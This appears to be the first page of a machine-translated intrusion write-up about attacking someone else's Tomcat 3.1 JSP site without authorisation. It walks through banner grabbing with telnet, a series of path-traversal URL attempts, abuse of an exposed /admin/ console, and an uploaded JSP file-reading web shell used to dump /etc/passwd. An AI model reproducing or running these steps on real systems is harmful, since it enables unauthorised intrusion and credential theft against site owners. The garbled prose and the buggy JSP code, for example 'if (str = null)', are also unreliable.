Js|web is a chance to browse to a website, the page is refreshing to feel very comfortable. Web site is developed with JSP, for personal interests, I decided to test the security of its system.
Telnet www.target.com 8080
Get/chinansl http/1.1
[Enter]
[Enter]
The results returned are as follows:
http/1.0 404 Not Found
Date:sun, April 2001 07:49:13 GMT
Servlet-engine:tomcat Web server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; Java.vendor=blackdown Java-linux Team)
Content-language:en
Content-type:text/html
status:404
Location:/chinansl File not Found <br>/chinansl
Gets the name "Tomcat 3.1" for the running webserver. Remember to have found this version of the vulnerability, and post to Bugtrap went up.
Recall, presumably through the "..." Technology can exit the Web directory, so:
Http://target:8080/../../../../%00.jsp (NO)
Http://target:8080/file/index.jsp (NO)
Http://target:8080/index.JSP (NO)
http://target:8080/index.jsp%81 (NO)
Http://target:8080/index.js%70 (NO)
http://target:8080/index.jsp%2581 (NO)
http://target:8080/WEB-INF/(NO)
It seems that the security situation seems to be good, let's do a deeper test. Tomcat 3.1 brings up a management tool that allows you to view directories and files under the Web and add context. So try:
http://target:8080/admin/
The administrator did not delete or prohibit access to this directory, from a security point of view, this should be considered a more important error.
Next, click the "VIEW All" button to list the names of some files and directories under the Web directory, and quickly discover a component that uploads the file to the other's web directory via this component:
<%@ page import= "java.io.*"%>
<%
String file = request.getparameter ("file");
String str = "";
FileInputStream FIS = null;
DataInputStream dis = null;
try{
FIS = new FileInputStream (file);
dis = new DataInputStream (FIS);
while (true) {
try{
str = Dis.readline ();
}catch (Exception e) {}
if (str = null) break;
Out.print (str+ "<br>");
}
}catch (IOException e) {}
%>
Then execute:
http://target:8080/upload/test.jsp?file=/etc/passwd
The password came out. The next process is to guess the password, without success. However, now the equivalent of a shell, can not guess the password to the first IE as a shell environment.
[1] [2] Next page
